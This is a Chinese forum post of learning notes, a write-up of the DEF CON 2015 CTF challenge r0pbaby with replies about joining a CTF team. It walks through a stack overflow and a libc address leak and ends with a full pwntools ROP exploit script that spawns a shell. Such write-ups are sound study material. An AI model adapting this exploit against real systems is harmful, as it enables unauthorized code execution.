首页
论坛
课程
招聘
[原创][分享]Pwn从入门到放弃(一)
2019-12-28 00:06 6426

[原创][分享]Pwn从入门到放弃(一)

2019-12-28 00:06
6426

0x00 背景

最近打算系统的学习Pwn这块内容,刚好前段趁双11购买了不少网课,于是在某春秋上看了Atum的《CTF PWN选手的养成》课程,课程里面布置了不少作业,因此打算开个系列帖子,将自己在做作业时的一些心得体会分享出来,也算是自己的学习笔记吧。

0x01 栈溢出利用

0x02 基本的ROP利用

0x03 题目一:

这是一道Defcon 2015 Qualifier上的PWN题目,名叫r0baby

  • 第一步:首先拿到题目,先checksec看一下:

    图片描述

程序为64位小端,并且开启了NX(堆栈不可执行)、PIE(地址随机化ASLR)和Fortify保护(一种增强保护机制,防止缓冲区溢出攻击,会替换诸如memcpy、memset、strcpy等危险函数)。

  • 第二步:运行看看:

    图片描述
    发现有4个选项:
    1、获得libc地址
    2、获得libc中某个函数的地址
    3、向栈中输入小于1024长度的任意数据
    4、退出程序
    先选择1看看:
    图片描述
    再选择2,输入system看看:
    图片描述
    再选择3,随便输入点东西看看:
    图片描述
    发现输入了若干字符,居然报错了(熟悉的Segmentation fault)

  • 第三步:用gdb看看究竟在哪里崩了:
    图片描述
    可以看到崩溃在了0x555555554eb3:ret的地方
    通过pattern_offset计算,可以得知溢出点在8个字节处:
    图片描述

  • 第四步:将程序丢到IDA中,发现函数并不多,一眼便可以看到main入口函数,F5伪代码可以看到,程序会调用系统默认的libc.so.6这个库
    图片描述

通过运行libc.so.6,可以获得当前系统运行的libc版本:

 

图片描述

解题思路:

1、由于开启了ASLR,因此需要知道当前执行时的system和'/bin/sh'的地址
2、知识点:64位系统中函数传参使用的寄存器顺序是RDI,RSI,RDX,RCX,R8,R9
3、在调用system函数时,先给RDI寄存器赋值为'/bin/sh'
4、因此需要使用pop rax; pop rdi; call rax这样顺序的一条指令
5、可以通过实时运行时的system地址-system偏移地址,从而得到system的基址,而后即可通过system基址+'/bin/sh'和ppc的偏移地址,即可得到它们两个的实时地址
6、栈溢出布局如下:
图片描述

  • 第五步:将libc.so丢到IDA中,确定system以及bin/sh的地址:
    图片描述
    图片描述
  • 第六步:利用ROPgadget找到合适的ppc地址:

    图片描述

#最终利用EXP代码:

from pwn import *

p = process('./r0pbaby')
ppc_addr_offset = 0xfa2cb
sh_addr_offset = 0x183cee
sys_addr_offset = 0x46ff0

p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("system")
system_addr = p.recvline().split(": ")[1].strip("\n")
system_addr = long(system_addr,16)
system_base_addr = system_addr - sys_addr_offset
print "system_base: %x" % system_base_addr
sh_address = system_base_addr + sh_addr_offset
print "sh_address: %x" % sh_address
ppc_address = system_base_addr + ppc_addr_offset
print "ppc_address: %x" % ppc_address

p.recvuntil(": ")
p.sendline("3")
p.recvuntil(": ")
payload = "A" * 8 + p64(ppc_address) + p64(system_addr) + p64(sh_address)
print payload
length = str(len(payload))
print length
p.sendline(length)
p.sendline(payload)
p.interactive()

图片描述

 

参考资料:
https://www.jianshu.com/p/982a9f09a739
https://blog.csdn.net/weixin_34112030/article/details/89664399


[公告]《使用DCI技术进行全栈调试》训练营,硬件调试器你的,《软件调试》作者张银奎亲自授课!

最后于 2019-12-30 20:51 被bugchong编辑 ,原因: 修改部分描述
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (23)
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2019-12-28 08:55
2
0
如果想学习PWN 的内容,何必要买课??如果LZ 不介意的话,去ctfrime.org搜索队伍pureSec,一起学习啊,全都是免费的
雪    币: 1035
活跃值: 活跃值 (167)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
. 活跃值 2019-12-28 10:55
3
0
pureGavin 如果想学习PWN 的内容,何必要买课??如果LZ 不介意的话,去ctfrime.org搜索队伍pureSec,一起学习啊,全都是免费的
林逸风申请加入
雪    币: 1456
活跃值: 活跃值 (23)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
bugchong 活跃值 2019-12-28 13:49
4
0
pureGavin 如果想学习PWN 的内容,何必要买课??如果LZ 不介意的话,去ctfrime.org搜索队伍pureSec,一起学习啊,全都是免费的
我是纯粹的个人业余爱好,并非专门打CTF比赛,感谢诚意邀请。
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2019-12-28 14:34
5
0
bugchong 我是纯粹的个人业余爱好,并非专门打CTF比赛,感谢诚意邀请。
不不不,我发现很多人貌似都理解为专业赛混,其实CTFtime只是让新手入门,高手提高水平的一个平台,而且我也并不想拿到多少好处(毕竟黑客只想证明自己更聪明O(∩_∩)O),LZ只要想加入,随时都可以,现在基本每个月都有十几个CTF比赛在进行
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2019-12-28 14:35
6
0
. 林逸风申请加入
欢迎!!! 这是邀请码(七天内有效!!):pureSec:1il5gN:V6EjlcTPzNYA6anmY_wSZpYAqLo
雪    币: 1035
活跃值: 活跃值 (167)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
. 活跃值 2020-1-2 09:31
7
0
pureGavin 欢迎!!! 这是邀请码(七天内有效!!):pureSec:1il5gN:V6EjlcTPzNYA6anmY_wSZpYAqLo
放寒假我就天天整这个了
现在要考试  慌得一匹
雪    币: 324
活跃值: 活跃值 (93)
能力值: ( LV10,RANK:168 )
在线值:
发帖
回帖
粉丝
kaoyange 活跃值 1 2020-1-2 10:48
8
0
pureGavin 欢迎!!! 这是邀请码(七天内有效!!):pureSec:1il5gN:V6EjlcTPzNYA6anmY_wSZpYAqLo
kaoyange 申请加入共同学习
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-1-2 11:31
9
0
kaoyange kaoyange 申请加入共同学习
没看到你,只看到一个叫‘megrez’的人
雪    币: 45
活跃值: 活跃值 (96)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Kris777 活跃值 2020-1-2 12:02
10
0
pureGavin 如果想学习PWN 的内容,何必要买课??如果LZ 不介意的话,去ctfrime.org搜索队伍pureSec,一起学习啊,全都是免费的
ctfrime.org 打不开这个网站啊
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-1-2 13:02
11
0
Kris777 ctfrime.org 打不开这个网站啊
我用手机开热点就能打开,如果打不开的话,开VPN一定能打开
雪    币: 1135
活跃值: 活跃值 (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
i未若 活跃值 2020-1-2 15:29
12
1
pureGavin 我用手机开热点就能打开,如果打不开的话,开VPN一定能打开
ctftime.org 这个网址吧
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-1-2 16:14
13
0
i未若 ctftime.org 这个网址吧
https://ctftime.org/ 
是这个,事实证明无论是Firefox还是Chrome,有没有VPN都能打开
最后于 2020-1-2 16:15 被pureGavin编辑 ,原因: 错字
雪    币: 324
活跃值: 活跃值 (93)
能力值: ( LV10,RANK:168 )
在线值:
发帖
回帖
粉丝
kaoyange 活跃值 1 2020-1-2 17:53
14
0
pureGavin 没看到你,只看到一个叫‘megrez’的人
在join existing team时输入pureSec,然后提交申请,出现Please, submit valid captcha,请教如何才能加入队伍?
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-1-2 18:48
15
0
kaoyange 在join existing team时输入pureSec,然后提交申请,出现Please, submit valid captcha,请教如何才能加入队伍?
我不是发了邀请码么??在上面
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
hackPluto 活跃值 2020-2-10 21:58
16
0
pureGavin 我不是发了邀请码么??在上面
Hackpluto申请加入!
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-2-10 22:48
17
0
hackPluto Hackpluto申请加入!
欢迎
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
hackPluto 活跃值 2020-2-11 00:14
18
0
pureGavin 欢迎
我已经在ctftime上提交了申请,请师傅同意一下
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
hackPluto 活跃值 2020-2-11 00:14
19
0
hackPluto 我已经在ctftime上提交了申请,请师傅同意一下
之前的邀请码已经失效了
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-2-11 01:37
20
0
hackPluto 我已经在ctftime上提交了申请,请师傅同意一下
已经同意了    O(∩_∩)O
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
hackPluto 活跃值 2020-2-11 15:32
21
0
pureGavin 已经同意了 O(∩_∩)O
本人目前学习完了ctfwiki里的pwn,想和师傅一起学习pwn,但是在ctftime战队里没有找到发私信的地方,师傅能不能给我留一个邮箱
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-2-11 19:26
22
0
hackPluto 本人目前学习完了ctfwiki里的pwn,想和师傅一起学习pwn,但是在ctftime战队里没有找到发私信的地方,师傅能不能给我留一个邮箱
我尽量做一个discord或者IRC,这样能方便交流并且还不会收集隐私信息
雪    币: 3340
活跃值: 活跃值 (15)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
笑出腹肌XCFJ 活跃值 2020-2-11 19:38
23
0
pureGavin 我尽量做一个discord或者IRC,这样能方便交流并且还不会收集隐私信息
表哥 总算找到你了,我想问你英语怎么这么好,请问有什么学习英语的方法吗??还望表哥告知
雪    币: 4177
活跃值: 活跃值 (1071)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-2-11 21:30
24
0
笑出腹肌XCFJ 表哥 总算找到你了,我想问你英语怎么这么好,请问有什么学习英语的方法吗??还望表哥告知
表哥是什么鬼??O(∩_∩)O哈哈~
英语的话,大胆说出来就好了,就算是在巴黎市中心的大街上也会碰到很多不会说英语的人的(至少是不会用英语和我交流)
游客
登录 | 注册 方可回帖
返回